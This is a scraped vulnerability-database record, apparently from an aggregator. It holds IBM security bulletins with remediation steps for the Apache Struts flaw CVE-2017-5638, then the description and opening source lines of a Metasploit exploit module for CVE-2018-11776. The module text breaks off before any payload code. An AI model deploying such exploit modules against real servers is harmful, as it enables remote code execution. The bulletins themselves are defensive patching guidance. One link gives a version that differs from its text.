$EGO_TOP/wlp/usr/servers/gui/apps/soam/7.1.1/symgui/WEB-INF/lib/ \n> cp freemarker-2.3.22.jar $EGO_TOP/wlp/usr/servers/gui/apps/perf/3.3/perfgui/WEB-INF/lib/ \n> cp ognl-3.0.19.jar $EGO_TOP/wlp/usr/servers/gui/apps/perf/3.3/perfgui/WEB-INF/lib/ \n> cp struts2-core-2.3.32.jar $EGO_TOP/wlp/usr/servers/gui/apps/perf/3.3/perfgui/WEB-INF/lib/ \n> cp xwork-core-2.3.32.jar $EGO_TOP/wlp/usr/servers/gui/apps/perf/3.3/perfgui/WEB-INF/lib/ \n**\\- For IBM Spectrum Symphony 7.1.2 and 7.2:** \n> unzip -u struts-2.3.32-lib.zip \n> cd struts-2.3.32/lib/ \n> cp commons-fileupload-1.3.2.jar $EGO_TOP/gui/$EGO_VERSION/lib/ \n> cp commons-io-2.2.jar $EGO_TOP/gui/$EGO_VERSION/lib/ \n> cp commons-lang3-3.2.jar $EGO_TOP/gui/$EGO_VERSION/lib/ \n> cp freemarker-2.3.22.jar $EGO_TOP/gui/$EGO_VERSION/lib/ \n> cp javassist-3.11.0.GA.jar $EGO_TOP/gui/$EGO_VERSION/lib/ \n> cp ognl-3.0.19.jar $EGO_TOP/gui/$EGO_VERSION/lib/ \n> cp struts2-core-2.3.32.jar $EGO_TOP/gui/$EGO_VERSION/lib/ \n> cp struts2-json-plugin-2.3.32.jar $EGO_TOP/gui/$EGO_VERSION/lib/ \n> cp struts2-spring-plugin-2.3.32.jar $EGO_TOP/gui/$EGO_VERSION/lib/ \n> cp xwork-core-2.3.32.jar $EGO_TOP/gui/$EGO_VERSION/lib/ \n> cp xstream-1.4.8.jar $EGO_TOP/wlp/usr/servers/gui/apps/ego/$EGO_VERSION/platform/WEB-INF/lib/ \n> cp velocity-1.6.4.jar $EGO_TOP/wlp/usr/servers/gui/apps/ego/$EGO_VERSION/platform/WEB-INF/lib/ \n> cp freemarker-2.3.22.jar $EGO_TOP/wlp/usr/servers/gui/apps/perf/$EGO_VERSION/perfgui/WEB-INF/lib/ \n> cp ognl-3.0.19.jar $EGO_TOP/wlp/usr/servers/gui/apps/perf/$EGO_VERSION/perfgui/WEB-INF/lib/ \n> cp struts2-core-2.3.32.jar $EGO_TOP/wlp/usr/servers/gui/apps/perf/$EGO_VERSION/perfgui/WEB-INF/lib/ \n> cp xwork-core-2.3.32.jar $EGO_TOP/wlp/usr/servers/gui/apps/perf/$EGO_VERSION/perfgui/WEB-INF/lib/ \n> cp ognl-3.0.19.jar $EGO_TOP/wlp/usr/servers/gui/apps/perf/$EGO_VERSION/perfguiv5/WEB-INF/lib/ (**For 7.2 Only**) \n> cp freemarker-2.3.22.jar $EGO_TOP/wlp/usr/servers/gui/apps/perf/$EGO_VERSION/perfguiv5/WEB-INF/lib/ (**For 7.2 Only**) \n> cp xwork-core-2.3.32.jar $EGO_TOP/wlp/usr/servers/gui/apps/perf/$EGO_VERSION/perfguiv5/WEB-INF/lib/ (**For 7.2 Only**) 2.5 Clean up the GUI work directories on all management hosts: > rm -rf $EGO_TOP/gui/work/* \n> rm -rf $EGO_TOP/gui/workarea/* \n**NOTE: **If you changed the default configuration for the WLP_OUTPUT_DIR environment variable and the APPEND_HOSTNAME_TO_WLP_OUTPUT_DIR parameter is set to true in the $EGO_CONFDIR/wlp.conf file, you must clean up the $WLP_OUTPUT_DIR/webgui_hostname/gui/workarea/ directory. 2.6 Launch a web browser and clear your browser\u2019s cache. \n2.7 Start the WEBGUI service: > egosh service start WEBGUI\n\n## ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2018-06-18T01:35:45", "type": "ibm", "title": "Security Bulletin: A vulnerability in Apache Struts 2 affects IBM Platform Symphony and IBM Spectrum Symphony (CVE-2017-5638)", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-5638"], "modified": "2018-06-18T01:35:45", "id": "02304D05D897B568E77C8953094F5914F389089362655D2AB68B096E3F3418DC", "href": "https://www.ibm.com/support/pages/node/631039", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-06-24T05:46:06", "description": "## Summary\n\nThere is a vulnerability in Apache Struts to which the IBM\u00ae FlashSystem\u2122 840 and FlashSystem\u2122 900 is susceptible. An exploit of this vulnerability (CVE-2017-5638) could allow a remote attacker to execute arbitrary code on the system\n\n## Vulnerability Details\n\n**CVEID:** [_CVE-2017-5638_](<https://vulners.com/cve/CVE-2017-5638>) \n**DESCRIPTION:** Apache Struts could allow a remote attacker to execute arbitrary code on the system, caused by an error when performing a file upload based on Jakarta Multipart parser. An attacker could exploit this vulnerability using a malicious Content-Type value to execute arbitrary code on the system. \nCVSS Base Score: 7.3 \nCVSS Temporal Score: See [_https://exchange.xforce.ibmcloud.com/vulnerabilities/122776_](<https://exchange.xforce.ibmcloud.com/vulnerabilities/122776>) for the current score \nCVSS Environmental Score*: Undefined \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L)\n\n## Affected Products and Versions\n\nFlashSystem 840 machine type and models (MTMs) affected include 9840-AE1 and 9843-AE1. \n \nFlashSystem 900 MTMs affected include 9840-AE2 and 9843-AE2. \n \nCode versions affected include supported VRMFs: \n\u00b7 1.4.0.0 \u2013 1.4.6.0 \n\u00b7 1.3.0.0 \u2013 1.3.0.7\n\n## Remediation/Fixes\n\n_MTMs_\n\n| _VRMF_| _APAR_| _Remediation/First Fix_ \n---|---|---|--- \n**FlashSystem ****840 MTM: ** \n9840-AE1 & \n9843-AE1 \n \n**FlashSystem 900 MTMs:** \n9840-AE2 & \n9843-AE2| _Code fixes are now available, the minimum VRMF containing the fix depends on the code stream: \n \n___ Fixed code VRMF .__ \n_1.4 stream: 1.4.6.1 _ \n_1.3 stream: 1.3.0.8_| _ __N/A_| [**_FlashSystem 840 fixes_**](<http://www-933.ibm.com/support/fixcentral/swg/selectFixes?parent=Flash%2Bhigh%2Bavailability%2Bsystems&product=ibm/StorageSoftware/IBM+FlashSystem+840&release=All&platform=All&function=all>)** **and [**_FlashSystem 900 fixes_**](<http://www-933.ibm.com/support/fixcentral/swg/selectFixes?parent=Flash%2Bhigh%2Bavailability%2Bsystems&product=ibm/StorageSoftware/IBM+FlashSystem+900&release=All&platform=All&function=all>)** **are available @ IBM\u2019s Fix Central_ _ \n \n## Workarounds and Mitigations\n\nNone\n\n## ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2023-02-18T01:45:50", "type": "ibm", "title": "Security Bulletin: A vulnerability in Apache Struts affects the IBM FlashSystem models 840 and 900", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-5638"], "modified": "2023-02-18T01:45:50", "id": "7E0CCCCB457D8A77AB9E189B336C99165EE3DEBFD72C3969F0C1103ED1D1CC6D", "href": "https://www.ibm.com/support/pages/node/697155", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-02-21T01:52:34", "description": "## Summary\n\nIBM OpenPages GRC Platform Web Applications are not vulnerable to the Apache Struts 2 vulnerability CVE-2017-5638 \n\n## Vulnerability Details\n\nIBM OpenPages GRC Platform Web Applications are NOT vulnerable to the Apache Struts 2 vulnerability (CVE-2017-5638). \nPlease refer to [_https://cwiki.apache.org/confluence/display/WW/S2-045_](<https://cwiki.apache.org/confluence/display/WW/S2-045>) for more information on CVE-2017-5638.\n\n## Affected Products and Versions\n\nIBM OpenPages versions 7.0 through 7.3\n\n## Remediation/Fixes\n\nNone\n\n## Workarounds and Mitigations\n\nNone\n\n## ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2018-06-15T22:49:16", "type": "ibm", "title": "Security Bulletin: IBM OpenPages GRC Platform Web Applications are not vulnerable to (CVE-2017-5638)", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-5638"], "modified": "2018-06-15T22:49:16", "id": "F1072FE090DABD963C764C2E009454B24AB02021B54C8519F4195C5ABC6E2FF5", "href": "https://www.ibm.com/support/pages/node/294331", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-02-13T05:37:08", "description": "## Summary\n\nThere is a vulnerability in Apache Struts to which the IBM\u00ae FlashSystem\u2122 V840 is susceptible. An exploit of this vulnerability (CVE-2017-5638) could allow a remote attacker to execute arbitrary code on the system.\n\n## Vulnerability Details\n\n**CVEID:** [_CVE-2017-5638_](<https://vulners.com/cve/CVE-2017-5638>) \n**DESCRIPTION:** Apache Struts could allow a remote attacker to execute arbitrary code on the system, caused by an error when performing a file upload based on Jakarta Multipart parser. An attacker could exploit this vulnerability using a malicious Content-Type value to execute arbitrary code on the system. \nCVSS Base Score: 7.3 \nCVSS Temporal Score: See [_https://exchange.xforce.ibmcloud.com/vulnerabilities/122776_](<https://exchange.xforce.ibmcloud.com/vulnerabilities/122776>) for the current score \nCVSS Environmental Score*: Undefined \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L)\n\n## Affected Products and Versions\n\n**Affected Products and Versions of FlashSystem V840\u2019s two node types \n** \n_Storage Node_ \n\u00b7 Machine Type Models (MTMs) affected include 9846-AE1 and 9848-AE1 \n\u00b7 Code versions affected include supported VRMFs: \no 1.4.0.0 \u2013 1.4.6.0 \no 1.3.0.0 \u2013 1.3.0.7 \n \n_Controller Node _ \n\u00b7 MTMs affected include 9846-AC0, 9848-AC0, 9846-AC1, and 9848-AC1 \n\u00b7 Code versions affected include supported VRMFs: \no 7.8.0.0 \u2013 7.8.0.2 \no 7.7.0.0 \u2013 7.7.1.5\n\n## Remediation/Fixes\n\n_V840 MTMs_\n\n| _VRMF_| _APAR_| _Remediation/First Fix_ \n---|---|---|--- \n**Storage nodes:** \n9846-AE1 & \n9848-AE1 \n \n**Controller nodes:** \n9846-AC0, \n9846-AC1, \n9848-AC0, & \n9848-AC1| _Code fixes are now available, the minimum VRMF containing the fix depends on the code stream: \n \n___Storage Node VRMF __ \n_1.4 stream: 1.4.6.1 _ \n_1.3 stream: 1.3.0.8_ \n \n__Controller Node VRMF __ \n_7.8 stream: 7.8.1.0_ \n_7.7 stream: 7.7.1.6_| _ __N/A_| [**_FlashSystem V840 fixes_**](<http://www-933.ibm.com/support/fixcentral/swg/selectFixes?parent=Flash%2Bhigh%2Bavailability%2Bsystems&product=ibm/StorageSoftware/IBM+FlashSystem+V840&release=1.0&platform=All&function=all>)** **for storage and controller node** **are available @ IBM\u2019s Fix Central \n \n## Workarounds and Mitigations\n\nNone\n\n## ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2018-06-18T00:32:46", "type": "ibm", "title": "Security Bulletin: A vulnerability in Apache Struts affects the IBM FlashSystem model V840", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-5638"], "modified": "2018-06-18T00:32:46", "id": "6470A30C25E8E98A770393E4946FDE7CFE3362A1DD3B87E75F8DB1F7CE3E88A5", "href": "https://www.ibm.com/support/pages/node/697157", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-02-21T21:52:21", "description": "## Summary\n\nAn Apache Struts vulnerability of arbitrary code execution was addressed by IBM Platform Cluster Manager Standard Edition, IBM Platform Cluster Manager Advanced Edition, Platform HPC, and Spectrum Cluster Foundation.\n\n## Vulnerability Details\n\nCVEID: [_CVE-2017-5638_](<https://vulners.com/cve/CVE-2017-5638>) **DESCRIPTION:** Apache Struts could allow a remote attacker to execute arbitrary code on the system, caused by an error when performing a file upload based on Jakarta Multipart parser. An attacker could exploit this vulnerability using a malicious Content-Type value to execute arbitrary code on the system. CVSS Base Score: 7.3 CVSS Temporal Score: See [_https://exchange.xforce.ibmcloud.com/vulnerabilities/122776_](<https://exchange.xforce.ibmcloud.com/vulnerabilities/122776>) for the current score CVSS Environmental Score*: Undefined CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L)\n\n## Affected Products and Versions\n\nPlatform Cluster Manager Standard Edition Version 4.1.0, 4.1.1 and 4.1.1.1 \nPlatform Cluster Manager Advanced Edition Version 4.2.0, 4.2.0.1, 4.2.0.2 and 4.2.1 \nPlatform HPC Version 4.1.1, 4.1.1.1, 4.2.0 and 4.2.1 \nSpectrum Cluster Foundation 4.2.2\n\n## Remediation/Fixes\n\n_<Product_\n\n| _VRMF_| _APAR_| _Remediation/First Fix_ \n---|---|---|--- \n_Platform Cluster Manager Standard Edition_| _4.1.0, 4.1.1, 4.1.1.1, 4.2.0, 4.2.0.1, 4.2.0.2, 4.2.1_| _None_| _See workaround_ \n_Platform Cluster Manager Advanced Edition_| _4.2.0, 4.2.0.1, 4.2.0.2, 4.2.1_| _None_| _See workaround_ \n_Platform HPC_| _4.1.1, 4.1.1.1, 4.2.0, 4.2.1_| _None_| _See workaround_ \n_Spectrum Cluster Foundation_| _4.2.2_| _None_| _See workaround_ \n \n## Workarounds and Mitigations\n\nPlatform Cluster Manager 4.2.1 & Platform HPC 4.2.1 & Spectrum Cluster Foundation 4.2.2 \n1 Download the struts-2.3.32-lib.zip package from the following location:[_http://archive.apache.org/dist/struts/2.3.32/_](<http://archive.apache.org/dist/struts/2.3.32/>) \n2 Copy the struts-2.3.32-lib.zip package to the management node. \n3 Extract the struts-2.3.32-lib.zip package on the management node. \n# mkdir -p /root/backup \n# mv /opt/pcm/web-portal/gui/3.0/wlp/usr/servers/platform/apps/platform.war/WEB-INF/lib/struts2-core-* /root/backup # mv /opt/pcm/web-portal/gui/3.0/wlp/usr/servers/platform/apps/platform.war/WEB-INF/lib/struts2-json-plugin-* /root/backup # mv /opt/pcm/web-portal/gui/3.0/wlp/usr/servers/platform/apps/platform.war/WEB-INF/lib/struts2-spring-plugin-* /root/backup # mv /opt/pcm/web-portal/gui/3.0/wlp/usr/servers/platform/apps/platform.war/WEB-INF/lib/xwork-core-* /root/backup # mv /opt/pcm/web-portal/gui/3.0/wlp/usr/servers/platform/apps/platform.war/WEB-INF/lib/freemarker-* /root/backup \n \n# unzip struts-2.3.32-lib.zip # cd struts-2.3.32/lib # cp xwork-core-2.3.32.jar /opt/pcm/web-portal/gui/3.0/wlp/usr/servers/platform/apps/platform.war/WEB-INF/lib # cp struts2-core-2.3.32.jar /opt/pcm/web-portal/gui/3.0/wlp/usr/servers/platform/apps/platform.war/WEB-INF/lib # cp struts2-jasperreports-plugin-2.3.32.jar /opt/pcm/web-portal/gui/3.0/wlp/usr/servers/platform/apps/platform.war/WEB-INF/lib # cp struts2-json-plugin-2.3.32.jar /opt/pcm/web-portal/gui/3.0/wlp/usr/servers/platform/apps/platform.war/WEB-INF/lib # cp struts2-spring-plugin-2.3.32.jar /opt/pcm/web-portal/gui/3.0/wlp/usr/servers/platform/apps/platform.war/WEB-INF/lib # cp freemarker-2.3.22.jar /opt/pcm/web-portal/gui/3.0/wlp/usr/servers/platform/apps/platform.war/WEB-INF/lib \n4 Restart Platform HPC services. If high availability is enabled, run the following commands on the active management node: \n# pcmhatool failmode -m manual # pcmadmin service stop --service WEBGUI # pcmadmin service start --service WEBGUI # pcmhatool failmode -m auto \nOtherwise, if high availability is not enabled, run the following commands on the management node: \n# pcmadmin service stop --service WEBGUI # pcmadmin service start --service WEBGUI \n \n**Platform Cluster Manager 4.2.0 4.2.0.x & Platform HPC 4.2.0 4.2.0.x** \n \n1 Download the struts-2.3.32-lib.zip package from the following location:[_http://archive.apache.org/dist/struts/2.3.32/_](<http://archive.apache.org/dist/struts/2.3.28/>) \n2 Copy the struts-2.3.32-lib.zip package to the management node. \n3 Extract the struts-2.3.32-lib.zip package on the management node. \n4 # mkdir -p /root/backup # mv /opt/pcm/web-portal/gui/3.0/tomcat/webapps/platform/WEB-INF/lib/struts2-core-* /root/backup # mv /opt/pcm/web-portal/gui/3.0/tomcat/webapps/platform/WEB-INF/lib/struts2-json-plugin-* /root/backup # mv /opt/pcm/web-portal/gui/3.0/tomcat/webapps/platform/WEB-INF/lib/struts2-spring-plugin-* /root/backup # mv /opt/pcm/web-portal/gui/3.0/tomcat/webapps/platform/WEB-INF/lib/xwork-core-* /root/backup # mv /opt/pcm/web-portal/gui/3.0/tomcat/webapps/platform/WEB-INF/lib/freemarker-* /root/backup \n \n# unzip struts-2.3.32-lib.zip # cd struts-2.3.32/lib # cp xwork-core-2.3.32.jar /opt/pcm/web-portal/gui/3.0/tomcat/webapps/platform/WEB-INF/lib # cp struts2-jasperreports-plugin-2.3.32.jar /opt/pcm/web-portal/gui/3.0/tomcat/webapps/platform/WEB-INF/lib # cp struts2-core-2.3.32.jar /opt/pcm/web-portal/gui/3.0/tomcat/webapps/platform/WEB-INF/lib # cp struts2-json-plugin-2.3.32.jar /opt/pcm/web-portal/gui/3.0/tomcat/webapps/platform/WEB-INF/lib # cp struts2-spring-plugin-2.3.32.jar /opt/pcm/web-portal/gui/3.0/tomcat/webapps/platform/WEB-INF/lib # cp freemarker-2.3.22.jar /opt/pcm/web-portal/gui/3.0/tomcat/webapps/platform/WEB-INF/lib \n \n5 Restart Platform HPC services. If high availability is enabled, run the following commands on the active management node: \n# pcmhatool failmode -m manual # pcmadmin service stop --service WEBGUI # pcmadmin service start --service WEBGUI # pcmhatool failmode -m auto \nOtherwise, if high availability is not enabled, run the following commands on the management node: \n# pcmadmin service stop --service WEBGUI # pcmadmin service start --service WEBGUI \n \n**Platform Cluster Manager 4.1.x & Platform HPC 4.1.x** \n1 Download the struts-2.3.32-lib.zip package from the following location:[_http://archive.apache.org/dist/struts/2.3.32/_](<http://archive.apache.org/dist/struts/2.3.28/>) \n2 Copy the struts-2.3.32-lib.zip package to the management node. \n3 Extract the struts-2.3.32-lib.zip package on the management node \n# mkdir -p /root/backup # mv /opt/pcm/web-portal/gui/3.0/tomcat/webapps/platform/WEB-INF/lib/struts2-core-* /root/backup # mv /opt/pcm/web-portal/gui/3.0/tomcat/webapps/platform/WEB-INF/lib/struts2-json-plugin-* /root/backup # mv /opt/pcm/web-portal/gui/3.0/tomcat/webapps/platform/WEB-INF/lib/struts2-spring-plugin-* /root/backup # mv /opt/pcm/web-portal/gui/3.0/tomcat/webapps/platform/WEB-INF/lib/xwork-core-* /root/backup # mv /opt/pcm/web-portal/gui/3.0/tomcat/webapps/platform/WEB-INF/lib/freemarker-* /root/backup \n \n# unzip struts-2.3.32-lib.zip # cd struts-2.3.32/lib/ # cp xwork-core-2.3.32.jar /opt/pcm/web-portal/gui/3.0/tomcat/webapps/platform/WEB-INF/lib # cp struts2-core-2.3.32.jar /opt/pcm/web-portal/gui/3.0/tomcat/webapps/platform/WEB-INF/lib # cp struts2-json-plugin-2.3.32.jar /opt/pcm/web-portal/gui/3.0/tomcat/webapps/platform/WEB-INF/lib # cp struts2-spring-plugin-2.3.32.jar /opt/pcm/web-portal/gui/3.0/tomcat/webapps/platform/WEB-INF/lib # cp freemarker-2.3.22.jar /opt/pcm/web-portal/gui/3.0/tomcat/webapps/platform/WEB-INF/lib # cp struts2-jasperreports-plugin-2.3.32.jar /opt/pcm/web-portal/gui/3.0/tomcat/webapps/platform/WEB-INF/lib \n4 Restart Platform HPC services. If high availability is enabled, run the following commands on the active management node: \n# pcmhatool failmode -m manual # pmcadmin stop # pmcadmin start # pcmhatool failmode -m auto \nOtherwise, if high availability is not enabled, run the following commands on the management node: \n# pmcadmin stop # pmcadmin start \n \n \nIf providing a mitigation add this line to this section: \nIBM recommends that you review your entire environment to identify vulnerable releases of the Open Source Apache Struts Vulnerabilities Collections and take appropriate mitigation and remediation actions. \n \n \n**Important note: **IBM strongly suggests that all System z customers subscribe to the System z Security Portal to receive the latest critical System z security and integrity service. If you are not subscribed, see the instructions on the [_System z Security web site_](<http://www.ibm.com/systems/z/solutions/security_subintegrity.html>). Security and integrity APARs and associated fixes will be posted to this portal. IBM suggests reviewing the CVSS scores and applying all security or integrity fixes as soon as possible to minimize any potential risk.\n\n## ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2018-06-18T01:35:33", "type": "ibm", "title": "Security Bulletin: Apache Struts v2 Jakarta Multipart parser code execution affects IBM Platform Cluster Manager Standard Edition, IBM Platform Cluster Manager Advanced Edition, Platform HPC, and Spectrum Cluster Foundation (CVE-2017-5638)", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-5638"], "modified": "2018-06-18T01:35:33", "id": "48F6A099D2817EC515107FFC49C4E17438FAC35AB50A0F0C6F0B86E2F20FECE3", "href": "https://www.ibm.com/support/pages/node/630909", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-02-21T05:54:34", "description": "## Summary\n\nAn Apache Struts vulnerability was addressed by IBM Social Media Analytics.\n\n## Vulnerability Details\n\n**CVEID:** [_CVE-2017-5638_](<https://vulners.com/cve/CVE-2017-5638>)** \nDESCRIPTION:** Apache Struts could allow a remote attacker to execute arbitrary code on the system, caused by an error when performing a file upload based on Jakarta Multipart parser. An attacker could exploit this vulnerability using a malicious Content-Type value to execute arbitrary code on the system. \nCVSS Base Score: 7.3 \nCVSS Temporal Score: See [_https://exchange.xforce.ibmcloud.com/vulnerabilities/122776_](<https://exchange.xforce.ibmcloud.com/vulnerabilities/122776>) for the current score \nCVSS Environmental Score*: Undefined \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L)\n\n## Affected Products and Versions\n\nIBM Social Media Analytics version 1.3\n\n## Remediation/Fixes\n\nThe recommended solution is to apply the following interim fix: \n[IBM Social Media Analytics 1.3.0 IF19](<http://www.ibm.com/support/docview.wss?uid=swg24043514>)\n\n## Workarounds and Mitigations\n\nNone\n\n## ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2018-06-15T22:50:04", "type": "ibm", "title": "Security Bulletin: Vulnerability in Apache Struts affects IBM Social Media Analytics (CVE-2017-5638)", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-5638"], "modified": "2018-06-15T22:50:04", "id": "546F05697B8F700EEF28B598121A8A3351E168124EB0852E39278EAE7A99C11B", "href": "https://www.ibm.com/support/pages/node/558271", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "metasploit": [{"lastseen": "2023-06-24T16:57:20", "description": "This module exploits a remote code execution vulnerability in Apache Struts version 2.3 - 2.3.4, and 2.5 - 2.5.16. Remote Code Execution can be performed via an endpoint that makes use of a redirect action. Note that this exploit is dependant on the version of Tomcat running on the target. Versions of Tomcat starting with 7.0.88 currently don't support payloads larger than ~7.5kb. Windows Meterpreter sessions on Tomcat >=7.0.88 are currently not supported. Native payloads will be converted to executables and dropped in the server's temp dir. If this fails, try a cmd/* payload, which won't have to write to the disk.\n", "cvss3": {}, "published": "2018-08-31T18:48:22", "type": "metasploit", "title": "Apache Struts 2 Namespace Redirect OGNL Injection", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2018-11776"], "modified": "2023-01-27T15:58:53", "id": "MSF:EXPLOIT-MULTI-HTTP-STRUTS2_NAMESPACE_OGNL-", "href": "https://www.rapid7.com/db/modules/exploit/multi/http/struts2_namespace_ognl/", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n Rank = ExcellentRanking\n\n include Msf::Exploit::Remote::HttpClient\n include Msf::Exploit::EXE\n\n # Eschewing CmdStager for now, since the use of '\\' and ';' are killing me\n #include Msf::Exploit::CmdStager # https://docs.metasploit.com/docs/development/developing-modules/guides/how-to-use-command-stagers.html\n\n # NOTE: Debugging code has been stripped, but is available in the commit history: a9e625789175a4c4fdfc7092eedfaf376e4d648e\n\n def initialize(info = {})\n super(update_info(info,\n 'Name' => 'Apache Struts 2 Namespace Redirect OGNL Injection',\n 'Description' => %q{\n This module exploits a remote code execution vulnerability in Apache Struts\n version 2.3 - 2.3.4, and 2.5 - 2.5.16. Remote Code Execution can be performed\n via an endpoint that makes use of a redirect action.\n\n Note that this exploit is dependant on the version of Tomcat running on\n the target. Versions of Tomcat starting with 7.0.88 currently don't\n support payloads larger than ~7.5kb. 